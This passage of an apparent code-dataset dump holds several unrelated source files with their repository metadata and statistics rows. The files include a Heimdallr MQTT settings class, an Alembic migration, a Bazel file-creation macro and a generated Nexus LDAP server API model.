shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d: d[key] = password @property def mqtt_broker(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @mqtt_broker.setter def mqtt_broker(self, broker: str) -> None: key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d: d[key] = broker @property def mqtt_port(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @mqtt_port.setter def mqtt_port(self, port: int) -> None: key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d: d[key] = port def set_all_heimdallr_settings( setting_scope: SettingScopeEnum = SettingScopeEnum.user, *, _lower_keys: bool = True, **kwargs, ): """ """ HEIMDALLR_SETTINGS = HeimdallrSettings(setting_scope) # print(f"current heimdallr settings: {HEIMDALLR_SETTINGS}") if _lower_keys: kwargs = {k.lower(): v for k, v in kwargs.items()} # for k in kwargs.keys(): # assert k in HEIMDALLR_SETTINGS, f'"{k}" is not in Heimdallrs settings' for k in HEIMDALLR_SETTINGS: assert k in kwargs.keys(), f'Missing "{k}" from kwargs' HEIMDALLR_SETTINGS.__from_dict__(kwargs) print(f"new heimdallr settings: {HeimdallrSettings()}") if __name__ == "__main__": settings = HeimdallrSettings() for k in settings: print(k, settings[k]) """ set_all_heimdallr_settings( **{ k: getattr(settings, k) if getattr(settings, k) else None for k in iter(settings) } ) """
35.472973
183
0.622667
1,208
10,500
5.108444
0.135762
0.050559
0.056717
0.05218
0.703614
0.667315
0.666667
0.660347
0.660347
0.660347
0
0.001341
0.289619
10,500
295
184
35.59322
0.825982
0.09381
0
0.484018
0
0
0.053537
0.005083
0
0
0
0.00339
0.004566
1
0.073059
false
0.059361
0.050228
0
0.255708
0.009132
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
c7ea2d6b2b01f0201d70ff9af30234e2f4c3789b
1,488
py
Python
rdr_service/alembic/versions/4a9ceee64d0b_add_obsolete_columns.py
all-of-us/raw-data-repository
d28ad957557587b03ff9c63d55dd55e0508f91d8
[ "BSD-3-Clause" ]
39
2017-10-13T19:16:27.000Z
2021-09-24T16:58:21.000Z
rdr_service/alembic/versions/4a9ceee64d0b_add_obsolete_columns.py
all-of-us/raw-data-repository
d28ad957557587b03ff9c63d55dd55e0508f91d8
[ "BSD-3-Clause" ]
312
2017-09-08T15:42:13.000Z
2022-03-23T18:21:40.000Z
rdr_service/alembic/versions/4a9ceee64d0b_add_obsolete_columns.py
all-of-us/raw-data-repository
d28ad957557587b03ff9c63d55dd55e0508f91d8
[ "BSD-3-Clause" ]
19
2017-09-15T13:58:00.000Z
2022-02-07T18:33:20.000Z
"""add obsolete columns Revision ID: 4a9ceee64d0b Revises: 69453413dfc3 Create Date: 2018-07-13 09:52:49.048544 """ import model.utils import sqlalchemy as sa from alembic import op from rdr_service.model.site_enums import ObsoleteStatus # revision identifiers, used by Alembic. revision = "4a9ceee64d0b" down_revision = "69453413dfc3" branch_labels = None depends_on = None def upgrade(engine_name): globals()["upgrade_%s" % engine_name]() def downgrade(engine_name): globals()["downgrade_%s" % engine_name]() def upgrade_rdr(): # ### commands auto generated by Alembic - please adjust! ### op.add_column("hpo", sa.Column("is_obsolete", model.utils.Enum(ObsoleteStatus), nullable=True)) op.add_column("organization", sa.Column("is_obsolete", model.utils.Enum(ObsoleteStatus), nullable=True)) op.add_column("site", sa.Column("is_obsolete", model.utils.Enum(ObsoleteStatus), nullable=True)) # ### end Alembic commands ### def downgrade_rdr(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column("site", "is_obsolete") op.drop_column("organization", "is_obsolete") op.drop_column("hpo", "is_obsolete") # ### end Alembic commands ### def upgrade_metrics(): # ### commands auto generated by Alembic - please adjust! ### pass # ### end Alembic commands ### def downgrade_metrics(): # ### commands auto generated by Alembic - please adjust! ### pass # ### end Alembic commands ###
27.054545
108
0.699597
184
1,488
5.51087
0.342391
0.059172
0.08284
0.09073
0.510848
0.426036
0.426036
0.426036
0.426036
0.333333
0
0.038431
0.160618
1,488
54
109
27.555556
0.773419
0.306452
0
0.083333
0
0
0.155119
0
0
0
0
0
0
1
0.25
false
0.083333
0.166667
0
0.416667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
1becdd83609e0dd94e3051f6fb367e2cbc652221
178
py
Python
Textbook/Chapter 1/stringCaps.py
hunterluepke/Learn-Python-for-Stats-and-Econ
d580a8e27ba937fc8401ac6d0714b6488ac8bbb6
[ "MIT" ]
16
2019-01-10T18:54:13.000Z
2022-01-28T20:07:20.000Z
Textbook/Chapter 1/stringCaps.py
hunterluepke/Learn-Python-for-Stats-and-Econ
d580a8e27ba937fc8401ac6d0714b6488ac8bbb6
[ "MIT" ]
null
null
null
Textbook/Chapter 1/stringCaps.py
hunterluepke/Learn-Python-for-Stats-and-Econ
d580a8e27ba937fc8401ac6d0714b6488ac8bbb6
[ "MIT" ]
15
2019-01-24T17:11:20.000Z
2021-12-11T01:53:57.000Z
#stringCaps.py msg = "john nash" print(msg) # ALL CAPS msg_upper = msg.upper() print(msg_upper) # First Letter Of Each Word Capitalized msg_title = msg.title() print(msg_title)
16.181818
39
0.741573
29
178
4.413793
0.551724
0.1875
0
0
0
0
0
0
0
0
0
0
0.140449
178
11
40
16.181818
0.836601
0.337079
0
0
0
0
0.077586
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
1befd9d1dad7ce0bcc65296a7c4ae9419da7632a
177
bzl
Python
source/bazel/rules/system/create_500M_file.bzl
luxe/CodeLang-compiler
78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a
[ "MIT" ]
33
2019-05-30T07:43:32.000Z
2021-12-30T13:12:32.000Z
source/bazel/rules/system/create_500M_file.bzl
luxe/CodeLang-compiler
78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a
[ "MIT" ]
371
2019-05-16T15:23:50.000Z
2021-09-04T15:45:27.000Z
source/bazel/rules/system/create_500M_file.bzl
UniLang/compiler
c338ee92994600af801033a37dfb2f1a0c9ca897
[ "MIT" ]
6
2019-08-22T17:37:36.000Z
2020-11-07T07:15:32.000Z
def create_500M_file(name): native.genrule( name = name + "_target", outs = [name], output_to_bindir = 1, cmd = "truncate -s 500M $@", )
22.125
36
0.519774
20
177
4.35
0.8
0
0
0
0
0
0
0
0
0
0
0.060345
0.344633
177
7
37
25.285714
0.689655
0
0
0
0
0
0.146893
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.142857
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1bf20c62b26af50002fd19b60ca2d532ffddee06
1,360
py
Python
src/model/connection.py
volpatto/sloth
7f622c5afe74a9be198024b8554519f5759b25ac
[ "MIT" ]
null
null
null
src/model/connection.py
volpatto/sloth
7f622c5afe74a9be198024b8554519f5759b25ac
[ "MIT" ]
null
null
null
src/model/connection.py
volpatto/sloth
7f622c5afe74a9be198024b8554519f5759b25ac
[ "MIT" ]
null
null
null
""" Define Connection class. - Special type of Equation that are used as source or sink terms (process inlet or outlet, respectively) or to connect two different Model objects. """ from core.Equation import * class base_(object): pass class Connection(base_,Equation): def __init__(self, name, description, connection_type = 'source', fast_expr = None): super(self.__class__,self).__init__(name, description, fast_expr) """ Inidial definitions. :param str name: Name for the current equation :param str description: Description for the present equation. Defauls to "" :param str connection_type: Type of the connection. Options are 'source', when a source term is declared (eg: process inlet); 'sink', when a sink term is declared (eq: process outlet); 'input', when a input from the other model output is declared (thus, a source term coming from the sink term from another model); 'output', when a output the output of a model is declared (used as input by another model). Defaults to 'source'. :param ExpressionTree fast_expr: ExpressionTree object to declare for the current Equation object. If declared, the moethod '.setResidual' are executed as a shortcut. Defaults to None. """ self.connection_type = connection_type
36.756757
408
0.699265
183
1,360
5.081967
0.393443
0.060215
0.027957
0.045161
0
0
0
0
0
0
0
0
0.227941
1,360
37
409
36.756757
0.885714
0.126471
0
0
0
0
0.01875
0
0
0
0
0
0
1
0.142857
false
0.142857
0.142857
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
4006df7024821643c98746d05f6225c90ba980a0
40,265
py
Python
nexus_api_python_client/models/create_ldap_server_xo.py
simonebruzzechesse/nexus-api-python-client
eaa1098dbd8778f6f3bda948268953b742f2ab64
[ "MIT" ]
1
2021-11-14T12:43:38.000Z
2021-11-14T12:43:38.000Z
nexus_api_python_client/models/create_ldap_server_xo.py
simonebruzzechesse/nexus-api-python-client
eaa1098dbd8778f6f3bda948268953b742f2ab64
[ "MIT" ]
null
null
null
nexus_api_python_client/models/create_ldap_server_xo.py
simonebruzzechesse/nexus-api-python-client
eaa1098dbd8778f6f3bda948268953b742f2ab64
[ "MIT" ]
null
null
null
# coding: utf-8 """ Nexus Repository Manager REST API No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: 3.20.1-01 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from nexus_api_python_client.configuration import Configuration class CreateLdapServerXo(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'name': 'str', 'protocol': 'str', 'use_trust_store': 'bool', 'host': 'str', 'port': 'int', 'search_base': 'str', 'auth_scheme': 'str', 'auth_realm': 'str', 'auth_username': 'str', 'connection_timeout_seconds': 'int', 'connection_retry_delay_seconds': 'int', 'max_incidents_count': 'int', 'user_base_dn': 'str', 'user_subtree': 'bool', 'user_object_class': 'str', 'user_ldap_filter': 'str', 'user_id_attribute': 'str', 'user_real_name_attribute': 'str', 'user_email_address_attribute': 'str', 'user_password_attribute': 'str', 'ldap_groups_as_roles': 'bool', 'group_type': 'str', 'group_base_dn': 'str', 'group_subtree': 'bool', 'group_object_class': 'str', 'group_id_attribute': 'str', 'group_member_attribute': 'str', 'group_member_format': 'str', 'user_member_of_attribute': 'str', 'auth_password': 'str' } attribute_map = { 'name': 'name', 'protocol': 'protocol', 'use_trust_store': 'useTrustStore', 'host': 'host', 'port': 'port', 'search_base': 'searchBase', 'auth_scheme': 'authScheme', 'auth_realm': 'authRealm', 'auth_username': 'authUsername', 'connection_timeout_seconds': 'connectionTimeoutSeconds', 'connection_retry_delay_seconds': 'connectionRetryDelaySeconds', 'max_incidents_count': 'maxIncidentsCount', 'user_base_dn': 'userBaseDn', 'user_subtree': 'userSubtree', 'user_object_class': 'userObjectClass', 'user_ldap_filter': 'userLdapFilter', 'user_id_attribute': 'userIdAttribute', 'user_real_name_attribute': 'userRealNameAttribute', 'user_email_address_attribute': 'userEmailAddressAttribute', 'user_password_attribute': 'userPasswordAttribute', 'ldap_groups_as_roles': 'ldapGroupsAsRoles', 'group_type': 'groupType', 'group_base_dn': 'groupBaseDn', 'group_subtree': 'groupSubtree', 'group_object_class': 'groupObjectClass', 'group_id_attribute': 'groupIdAttribute', 'group_member_attribute': 'groupMemberAttribute', 'group_member_format': 'groupMemberFormat', 'user_member_of_attribute': 'userMemberOfAttribute', 'auth_password': 'authPassword' } def __init__(self, name=None, protocol=None, use_trust_store=None, host=None, port=None, search_base=None, auth_scheme=None, auth_realm=None, auth_username=None, connection_timeout_seconds=None, connection_retry_delay_seconds=None, max_incidents_count=None, user_base_dn=None, user_subtree=None, user_object_class=None, user_ldap_filter=None, user_id_attribute=None, user_real_name_attribute=None, user_email_address_attribute=None, user_password_attribute=None, ldap_groups_as_roles=None, group_type=None, group_base_dn=None, group_subtree=None, group_object_class=None, group_id_attribute=None, group_member_attribute=None, group_member_format=None, user_member_of_attribute=None, auth_password=None, local_vars_configuration=None): # noqa: E501 """CreateLdapServerXo - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._name = None self._protocol = None self._use_trust_store = None self._host = None self._port = None self._search_base = None self._auth_scheme = None self._auth_realm = None self._auth_username = None self._connection_timeout_seconds = None self._connection_retry_delay_seconds = None self._max_incidents_count = None self._user_base_dn = None self._user_subtree = None self._user_object_class = None self._user_ldap_filter = None self._user_id_attribute = None self._user_real_name_attribute = None self._user_email_address_attribute = None self._user_password_attribute = None self._ldap_groups_as_roles = None self._group_type = None self._group_base_dn = None self._group_subtree = None self._group_object_class = None self._group_id_attribute = None self._group_member_attribute = None self._group_member_format = None self._user_member_of_attribute = None self._auth_password = None self.discriminator = None self.name = name self.protocol = protocol if use_trust_store is not None: self.use_trust_store = use_trust_store self.host = host self.port = port self.search_base = search_base self.auth_scheme = auth_scheme if auth_realm is not None: self.auth_realm = auth_realm if auth_username is not None: self.auth_username = auth_username self.connection_timeout_seconds = connection_timeout_seconds self.connection_retry_delay_seconds = connection_retry_delay_seconds self.max_incidents_count = max_incidents_count if user_base_dn is not None: self.user_base_dn = user_base_dn if user_subtree is not None: self.user_subtree = user_subtree if user_object_class is not None: self.user_object_class = user_object_class if user_ldap_filter is not None: self.user_ldap_filter = user_ldap_filter if user_id_attribute is not None: self.user_id_attribute = user_id_attribute if user_real_name_attribute is not None: self.user_real_name_attribute = user_real_name_attribute if user_email_address_attribute is not None: self.user_email_address_attribute = user_email_address_attribute if user_password_attribute is not None: self.user_password_attribute = user_password_attribute if ldap_groups_as_roles is not None: self.ldap_groups_as_roles = ldap_groups_as_roles self.group_type = group_type if group_base_dn is not None: self.group_base_dn = group_base_dn if group_subtree is not None: self.group_subtree = group_subtree if group_object_class is not None: self.group_object_class = group_object_class if group_id_attribute is not None: self.group_id_attribute = group_id_attribute if group_member_attribute is not None: self.group_member_attribute = group_member_attribute if group_member_format is not None: self.group_member_format = group_member_format if user_member_of_attribute is not None: self.user_member_of_attribute = user_member_of_attribute self.auth_password = auth_password @property def name(self): """Gets the name of this CreateLdapServerXo. # noqa: E501 LDAP server name # noqa: E501 :return: The name of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this CreateLdapServerXo. LDAP server name # noqa: E501 :param name: The name of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and name is None: # noqa: E501 raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501 self._name = name @property def protocol(self): """Gets the protocol of this CreateLdapServerXo. # noqa: E501 LDAP server connection Protocol to use # noqa: E501 :return: The protocol of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._protocol @protocol.setter def protocol(self, protocol): """Sets the protocol of this CreateLdapServerXo. LDAP server connection Protocol to use # noqa: E501 :param protocol: The protocol of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and protocol is None: # noqa: E501 raise ValueError("Invalid value for `protocol`, must not be `None`") # noqa: E501 allowed_values = ["ldap", "ldaps"] # noqa: E501 if self.local_vars_configuration.client_side_validation and protocol not in allowed_values: # noqa: E501 raise ValueError( "Invalid value for `protocol` ({0}), must be one of {1}" # noqa: E501 .format(protocol, allowed_values) ) self._protocol = protocol @property def use_trust_store(self): """Gets the use_trust_store of this CreateLdapServerXo. # noqa: E501 Whether to use certificates stored in NXRM's truststore # noqa: E501 :return: The use_trust_store of this CreateLdapServerXo. # noqa: E501 :rtype: bool """ return self._use_trust_store @use_trust_store.setter def use_trust_store(self, use_trust_store): """Sets the use_trust_store of this CreateLdapServerXo. Whether to use certificates stored in NXRM's truststore # noqa: E501 :param use_trust_store: The use_trust_store of this CreateLdapServerXo. # noqa: E501 :type: bool """ self._use_trust_store = use_trust_store @property def host(self): """Gets the host of this CreateLdapServerXo. # noqa: E501 LDAP server connection hostname # noqa: E501 :return: The host of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._host @host.setter def host(self, host): """Sets the host of this CreateLdapServerXo. LDAP server connection hostname # noqa: E501 :param host: The host of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and host is None: # noqa: E501 raise ValueError("Invalid value for `host`, must not be `None`") # noqa: E501 self._host = host @property def port(self): """Gets the port of this CreateLdapServerXo. # noqa: E501 LDAP server connection port to use # noqa: E501 :return: The port of this CreateLdapServerXo. # noqa: E501 :rtype: int """ return self._port @port.setter def port(self, port): """Sets the port of this CreateLdapServerXo. LDAP server connection port to use # noqa: E501 :param port: The port of this CreateLdapServerXo. # noqa: E501 :type: int """ if self.local_vars_configuration.client_side_validation and port is None: # noqa: E501 raise ValueError("Invalid value for `port`, must not be `None`") # noqa: E501 self._port = port @property def search_base(self): """Gets the search_base of this CreateLdapServerXo. # noqa: E501 LDAP location to be added to the connection URL # noqa: E501 :return: The search_base of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._search_base @search_base.setter def search_base(self, search_base): """Sets the search_base of this CreateLdapServerXo. LDAP location to be added to the connection URL # noqa: E501 :param search_base: The search_base of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and search_base is None: # noqa: E501 raise ValueError("Invalid value for `search_base`, must not be `None`") # noqa: E501 self._search_base = search_base @property def auth_scheme(self): """Gets the auth_scheme of this CreateLdapServerXo. # noqa: E501 Authentication scheme used for connecting to LDAP server # noqa: E501 :return: The auth_scheme of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._auth_scheme @auth_scheme.setter def auth_scheme(self, auth_scheme): """Sets the auth_scheme of this CreateLdapServerXo. Authentication scheme used for connecting to LDAP server # noqa: E501 :param auth_scheme: The auth_scheme of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and auth_scheme is None: # noqa: E501 raise ValueError("Invalid value for `auth_scheme`, must not be `None`") # noqa: E501 allowed_values = ["NONE", "SIMPLE", "DIGEST_MD5", "CRAM_MD5"] # noqa: E501 if self.local_vars_configuration.client_side_validation and auth_scheme not in allowed_values: # noqa: E501 raise ValueError( "Invalid value for `auth_scheme` ({0}), must be one of {1}" # noqa: E501 .format(auth_scheme, allowed_values) ) self._auth_scheme = auth_scheme @property def auth_realm(self): """Gets the auth_realm of this CreateLdapServerXo. # noqa: E501 The SASL realm to bind to. Required if authScheme is CRAM_MD5 or DIGEST_MD5 # noqa: E501 :return: The auth_realm of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._auth_realm @auth_realm.setter def auth_realm(self, auth_realm): """Sets the auth_realm of this CreateLdapServerXo. The SASL realm to bind to. Required if authScheme is CRAM_MD5 or DIGEST_MD5 # noqa: E501 :param auth_realm: The auth_realm of this CreateLdapServerXo. # noqa: E501 :type: str """ self._auth_realm = auth_realm @property def auth_username(self): """Gets the auth_username of this CreateLdapServerXo. # noqa: E501 This must be a fully qualified username if simple authentication is used. Required if authScheme other than none. # noqa: E501 :return: The auth_username of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._auth_username @auth_username.setter def auth_username(self, auth_username): """Sets the auth_username of this CreateLdapServerXo. This must be a fully qualified username if simple authentication is used. Required if authScheme other than none. # noqa: E501 :param auth_username: The auth_username of this CreateLdapServerXo. # noqa: E501 :type: str """ self._auth_username = auth_username @property def connection_timeout_seconds(self): """Gets the connection_timeout_seconds of this CreateLdapServerXo. # noqa: E501 How long to wait before timeout # noqa: E501 :return: The connection_timeout_seconds of this CreateLdapServerXo. # noqa: E501 :rtype: int """ return self._connection_timeout_seconds @connection_timeout_seconds.setter def connection_timeout_seconds(self, connection_timeout_seconds): """Sets the connection_timeout_seconds of this CreateLdapServerXo. How long to wait before timeout # noqa: E501 :param connection_timeout_seconds: The connection_timeout_seconds of this CreateLdapServerXo. # noqa: E501 :type: int """ if self.local_vars_configuration.client_side_validation and connection_timeout_seconds is None: # noqa: E501 raise ValueError("Invalid value for `connection_timeout_seconds`, must not be `None`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and connection_timeout_seconds is not None and connection_timeout_seconds > 3600): # noqa: E501 raise ValueError("Invalid value for `connection_timeout_seconds`, must be a value less than or equal to `3600`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and connection_timeout_seconds is not None and connection_timeout_seconds < 1): # noqa: E501 raise ValueError("Invalid value for `connection_timeout_seconds`, must be a value greater than or equal to `1`") # noqa: E501 self._connection_timeout_seconds = connection_timeout_seconds @property def connection_retry_delay_seconds(self): """Gets the connection_retry_delay_seconds of this CreateLdapServerXo. # noqa: E501 How long to wait before retrying # noqa: E501 :return: The connection_retry_delay_seconds of this CreateLdapServerXo. # noqa: E501 :rtype: int """ return self._connection_retry_delay_seconds @connection_retry_delay_seconds.setter def connection_retry_delay_seconds(self, connection_retry_delay_seconds): """Sets the connection_retry_delay_seconds of this CreateLdapServerXo. How long to wait before retrying # noqa: E501 :param connection_retry_delay_seconds: The connection_retry_delay_seconds of this CreateLdapServerXo. # noqa: E501 :type: int """ if self.local_vars_configuration.client_side_validation and connection_retry_delay_seconds is None: # noqa: E501 raise ValueError("Invalid value for `connection_retry_delay_seconds`, must not be `None`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and connection_retry_delay_seconds is not None and connection_retry_delay_seconds < 0): # noqa: E501 raise ValueError("Invalid value for `connection_retry_delay_seconds`, must be a value greater than or equal to `0`") # noqa: E501 self._connection_retry_delay_seconds = connection_retry_delay_seconds @property def max_incidents_count(self): """Gets the max_incidents_count of this CreateLdapServerXo. # noqa: E501 How many retry attempts # noqa: E501 :return: The max_incidents_count of this CreateLdapServerXo. # noqa: E501 :rtype: int """ return self._max_incidents_count @max_incidents_count.setter def max_incidents_count(self, max_incidents_count): """Sets the max_incidents_count of this CreateLdapServerXo. How many retry attempts # noqa: E501 :param max_incidents_count: The max_incidents_count of this CreateLdapServerXo. # noqa: E501 :type: int """ if self.local_vars_configuration.client_side_validation and max_incidents_count is None: # noqa: E501 raise ValueError("Invalid value for `max_incidents_count`, must not be `None`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and max_incidents_count is not None and max_incidents_count < 0): # noqa: E501 raise ValueError("Invalid value for `max_incidents_count`, must be a value greater than or equal to `0`") # noqa: E501 self._max_incidents_count = max_incidents_count @property def user_base_dn(self): """Gets the user_base_dn of this CreateLdapServerXo. # noqa: E501 The relative DN where user objects are found (e.g. ou=people). This value will have the Search base DN value appended to form the full User search base DN. # noqa: E501 :return: The user_base_dn of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_base_dn @user_base_dn.setter def user_base_dn(self, user_base_dn): """Sets the user_base_dn of this CreateLdapServerXo. The relative DN where user objects are found (e.g. ou=people). This value will have the Search base DN value appended to form the full User search base DN. # noqa: E501 :param user_base_dn: The user_base_dn of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_base_dn = user_base_dn @property def user_subtree(self): """Gets the user_subtree of this CreateLdapServerXo. # noqa: E501 Are users located in structures below the user base DN? # noqa: E501 :return: The user_subtree of this CreateLdapServerXo. # noqa: E501 :rtype: bool """ return self._user_subtree @user_subtree.setter def user_subtree(self, user_subtree): """Sets the user_subtree of this CreateLdapServerXo. Are users located in structures below the user base DN? # noqa: E501 :param user_subtree: The user_subtree of this CreateLdapServerXo. # noqa: E501 :type: bool """ self._user_subtree = user_subtree @property def user_object_class(self): """Gets the user_object_class of this CreateLdapServerXo. # noqa: E501 LDAP class for user objects # noqa: E501 :return: The user_object_class of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_object_class @user_object_class.setter def user_object_class(self, user_object_class): """Sets the user_object_class of this CreateLdapServerXo. LDAP class for user objects # noqa: E501 :param user_object_class: The user_object_class of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_object_class = user_object_class @property def user_ldap_filter(self): """Gets the user_ldap_filter of this CreateLdapServerXo. # noqa: E501 LDAP search filter to limit user search # noqa: E501 :return: The user_ldap_filter of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_ldap_filter @user_ldap_filter.setter def user_ldap_filter(self, user_ldap_filter): """Sets the user_ldap_filter of this CreateLdapServerXo. LDAP search filter to limit user search # noqa: E501 :param user_ldap_filter: The user_ldap_filter of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_ldap_filter = user_ldap_filter @property def user_id_attribute(self): """Gets the user_id_attribute of this CreateLdapServerXo. # noqa: E501 This is used to find a user given its user ID # noqa: E501 :return: The user_id_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_id_attribute @user_id_attribute.setter def user_id_attribute(self, user_id_attribute): """Sets the user_id_attribute of this CreateLdapServerXo. This is used to find a user given its user ID # noqa: E501 :param user_id_attribute: The user_id_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_id_attribute = user_id_attribute @property def user_real_name_attribute(self): """Gets the user_real_name_attribute of this CreateLdapServerXo. # noqa: E501 This is used to find a real name given the user ID # noqa: E501 :return: The user_real_name_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_real_name_attribute @user_real_name_attribute.setter def user_real_name_attribute(self, user_real_name_attribute): """Sets the user_real_name_attribute of this CreateLdapServerXo. This is used to find a real name given the user ID # noqa: E501 :param user_real_name_attribute: The user_real_name_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_real_name_attribute = user_real_name_attribute @property def user_email_address_attribute(self): """Gets the user_email_address_attribute of this CreateLdapServerXo. # noqa: E501 This is used to find an email address given the user ID # noqa: E501 :return: The user_email_address_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_email_address_attribute @user_email_address_attribute.setter def user_email_address_attribute(self, user_email_address_attribute): """Sets the user_email_address_attribute of this CreateLdapServerXo. This is used to find an email address given the user ID # noqa: E501 :param user_email_address_attribute: The user_email_address_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_email_address_attribute = user_email_address_attribute @property def user_password_attribute(self): """Gets the user_password_attribute of this CreateLdapServerXo. # noqa: E501 If this field is blank the user will be authenticated against a bind with the LDAP server # noqa: E501 :return: The user_password_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_password_attribute @user_password_attribute.setter def user_password_attribute(self, user_password_attribute): """Sets the user_password_attribute of this CreateLdapServerXo. If this field is blank the user will be authenticated against a bind with the LDAP server # noqa: E501 :param user_password_attribute: The user_password_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ self._user_password_attribute = user_password_attribute @property def ldap_groups_as_roles(self): """Gets the ldap_groups_as_roles of this CreateLdapServerXo. # noqa: E501 Denotes whether LDAP assigned roles are used as NXRM roles # noqa: E501 :return: The ldap_groups_as_roles of this CreateLdapServerXo. # noqa: E501 :rtype: bool """ return self._ldap_groups_as_roles @ldap_groups_as_roles.setter def ldap_groups_as_roles(self, ldap_groups_as_roles): """Sets the ldap_groups_as_roles of this CreateLdapServerXo. Denotes whether LDAP assigned roles are used as NXRM roles # noqa: E501 :param ldap_groups_as_roles: The ldap_groups_as_roles of this CreateLdapServerXo. # noqa: E501 :type: bool """ self._ldap_groups_as_roles = ldap_groups_as_roles @property def group_type(self): """Gets the group_type of this CreateLdapServerXo. # noqa: E501 Defines a type of groups used: static (a group contains a list of users) or dynamic (a user contains a list of groups). Required if ldapGroupsAsRoles is true. # noqa: E501 :return: The group_type of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._group_type @group_type.setter def group_type(self, group_type): """Sets the group_type of this CreateLdapServerXo. Defines a type of groups used: static (a group contains a list of users) or dynamic (a user contains a list of groups). Required if ldapGroupsAsRoles is true. # noqa: E501 :param group_type: The group_type of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and group_type is None: # noqa: E501 raise ValueError("Invalid value for `group_type`, must not be `None`") # noqa: E501 allowed_values = ["static", "dynamic"] # noqa: E501 if self.local_vars_configuration.client_side_validation and group_type not in allowed_values: # noqa: E501 raise ValueError( "Invalid value for `group_type` ({0}), must be one of {1}" # noqa: E501 .format(group_type, allowed_values) ) self._group_type = group_type @property def group_base_dn(self): """Gets the group_base_dn of this CreateLdapServerXo. # noqa: E501 The relative DN where group objects are found (e.g. ou=Group). This value will have the Search base DN value appended to form the full Group search base DN. # noqa: E501 :return: The group_base_dn of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._group_base_dn @group_base_dn.setter def group_base_dn(self, group_base_dn): """Sets the group_base_dn of this CreateLdapServerXo. The relative DN where group objects are found (e.g. ou=Group). This value will have the Search base DN value appended to form the full Group search base DN. # noqa: E501 :param group_base_dn: The group_base_dn of this CreateLdapServerXo. # noqa: E501 :type: str """ self._group_base_dn = group_base_dn @property def group_subtree(self): """Gets the group_subtree of this CreateLdapServerXo. # noqa: E501 Are groups located in structures below the group base DN # noqa: E501 :return: The group_subtree of this CreateLdapServerXo. # noqa: E501 :rtype: bool """ return self._group_subtree @group_subtree.setter def group_subtree(self, group_subtree): """Sets the group_subtree of this CreateLdapServerXo. Are groups located in structures below the group base DN # noqa: E501 :param group_subtree: The group_subtree of this CreateLdapServerXo. # noqa: E501 